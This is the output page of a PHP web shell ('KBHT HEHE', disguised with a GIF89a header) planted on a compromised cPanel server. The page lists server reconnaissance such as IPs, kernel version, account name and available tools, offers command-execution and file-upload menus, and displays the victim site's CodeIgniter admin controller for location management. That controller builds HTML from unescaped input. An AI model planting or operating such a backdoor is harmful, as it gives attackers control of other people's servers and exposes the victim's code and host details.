GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.75.53
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/Locations.php
<?php

/**
 * Controller Class For Location Management (State/City)
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Locations extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/LocationManagement");
    }

    public function getActiveCitiesByState() {
        $state_id = $_POST['state_id'];
        $query = $this->LocationManagement->getAllCitiesByState($state_id);
        $cityList = $query->result();
        $options = "<option value=''>Select City</option>";
        for ($i = 0; $i < (sizeof($cityList)); $i++) {
            $options .= "<option value=" . $cityList[$i]->city_id . ">" . $cityList[$i]->city_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'city_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getActiveCitiesByStateSelected() {
        $state_id = $_POST['state_id'];
        $city_id = $_POST['city_id'];
        $query = $this->LocationManagement->getAllCitiesByState($state_id);
        $cityList = $query->result();
        $options = "<option value=''>Select City</option>";
        for ($i = 0; $i < (sizeof($cityList)); $i++) {
            $selected = "";
            if ($cityList[$i]->city_id == $city_id) {
                $selected = "selected";
            }
            $options .= "<option value=" . $cityList[$i]->city_id . " " . $selected . ">" . $cityList[$i]->city_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'city_list' => $options
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For For Internal Locations Management Module */

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allLocations'] = $this->LocationManagement->getAllLocations()->result();
            $this->load->view('admin/locations', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createLocation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/createLocation');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewLocation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('locName', 'Location Name', 'trim|required', array('required' => 'Location Name Can Not Be Blank.'));
            $this->form_validation->set_rules('locShortName', 'Location Short Name', 'trim|required', array('required' => 'Location Short Name Can Not Be Blank.'));
            $queryByLocationName = $this->LocationManagement->getLocationInfoByName(trim($this->input->post('locName')));
            $locationInfoByName = $queryByLocationName->result();
            $queryByLocationShortName = $this->LocationManagement->getLocationInfoByShortName(trim($this->input->post('locShortName')));
            $locationInfoByShortName = $queryByLocationShortName->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createLocation();
            } else if (sizeof($locationInfoByName)) {
                $this->session->set_flashdata('errorMessage', "A Location With This Name Already Exits. Please Choose A Different Name.");
                $this->createLocation();
            } else if (sizeof($locationInfoByShortName)) {
                $this->session->set_flashdata('errorMessage', "A Location With This Short Name Already Exits. Please Choose A Different Abbreviation.");
                $this->createLocation();
            } else {
                $newLocationInfo = array(
                    'lm_name' => addslashes(trim($this->input->post('locName'))),
                    'lm_short_name' => addslashes(trim($this->input->post('locShortName'))),
                    'lm_description' => addslashes(trim($this->input->post('locDescription'))),
                    'lm_added_on' => date("Y-m-d H:i:s"),
                    'lm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'lm_updated_on' => date("Y-m-d H:i:s"),
                    'lm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LocationManagement->createNewLocation($newLocationInfo)) {
                    $this->session->set_flashdata('successMessage', 'Location Created Successfully.');
                    redirect("admin/Locations/");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Location. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editLocation($lm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['locationInfo'] = $this->LocationManagement->getLocationInfoBy($lm_id)->result()[0];
            $this->load->view('admin/editLocation', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateLocation() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $locId = trim($this->input->post('locId'));
            $this->form_validation->set_rules('locName', 'Location Name', 'trim|required', array('required' => 'Location Name Can Not Be Blank.'));
            $this->form_validation->set_rules('locShortName', 'Location Short Name', 'trim|required', array('required' => 'Location Short Name Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editLocation($locId);
            } else if (!$this->LocationManagement->isLocationNameSafeUpdate($locId, trim($this->input->post('locName')))) {
                $this->session->set_flashdata('errorMessage', "A Location With This Name (" . trim($this->input->post('locName')) . ") Already Exits. Please Choose A Different Name.");
                $this->editLocation($locId);
            } else if (!$this->LocationManagement->isLocationShortNameSafeUpdate($locId, trim($this->input->post('locShortName')))) {
                $this->session->set_flashdata('errorMessage', "A Location With This Short Name (" . trim($this->input->post('locShortName')) . ") Already Exits. Please Choose A Different Abbreviation.");
                $this->editLocation($locId);
            } else {
                $locationInfo = array(
                    'lm_id' => $locId,
                    'lm_name' => addslashes(trim($this->input->post('locName'))),
                    'lm_short_name' => addslashes(trim($this->input->post('locShortName'))),
                    'lm_description' => addslashes(trim($this->input->post('locDescription'))),
                    'lm_updated_on' => date("Y-m-d H:i:s"),
                    'lm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->LocationManagement->updateLocationInfo($locationInfo)) {
                    $this->session->set_flashdata('successMessage', 'Location Updated Successfully.');
                    redirect("admin/Locations/");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Location. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleLoginStatus($lm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $locationUpdateData = array(
                'lm_id' => $lm_id,
                'lm_updated_on' => date("Y-m-d H:i:s"),
                'lm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lm_active_status' => $toUpdateStatus
            );
            if ($this->LocationManagement->updateLocationInfo($locationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Location Status Updated Successfully.');
                redirect("admin/Locations/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Location. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteLocation($lm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $locationUpdateData = array(
                'lm_id' => $lm_id,
                'lm_updated_on' => date("Y-m-d H:i:s"),
                'lm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lm_delete_status' => 'T'
            );
            if ($this->LocationManagement->updateLocationInfo($locationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Location Deleted Successfully.');
                redirect("admin/Locations/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Location. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteLocation($lm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $locationUpdateData = array(
                'lm_id' => $lm_id,
                'lm_updated_on' => date("Y-m-d H:i:s"),
                'lm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'lm_delete_status' => 'F'
            );
            if ($this->LocationManagement->updateLocationInfo($locationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Location Recovered Successfully.');
                redirect("admin/Locations/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Location. Try Later.');
                redirectc(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023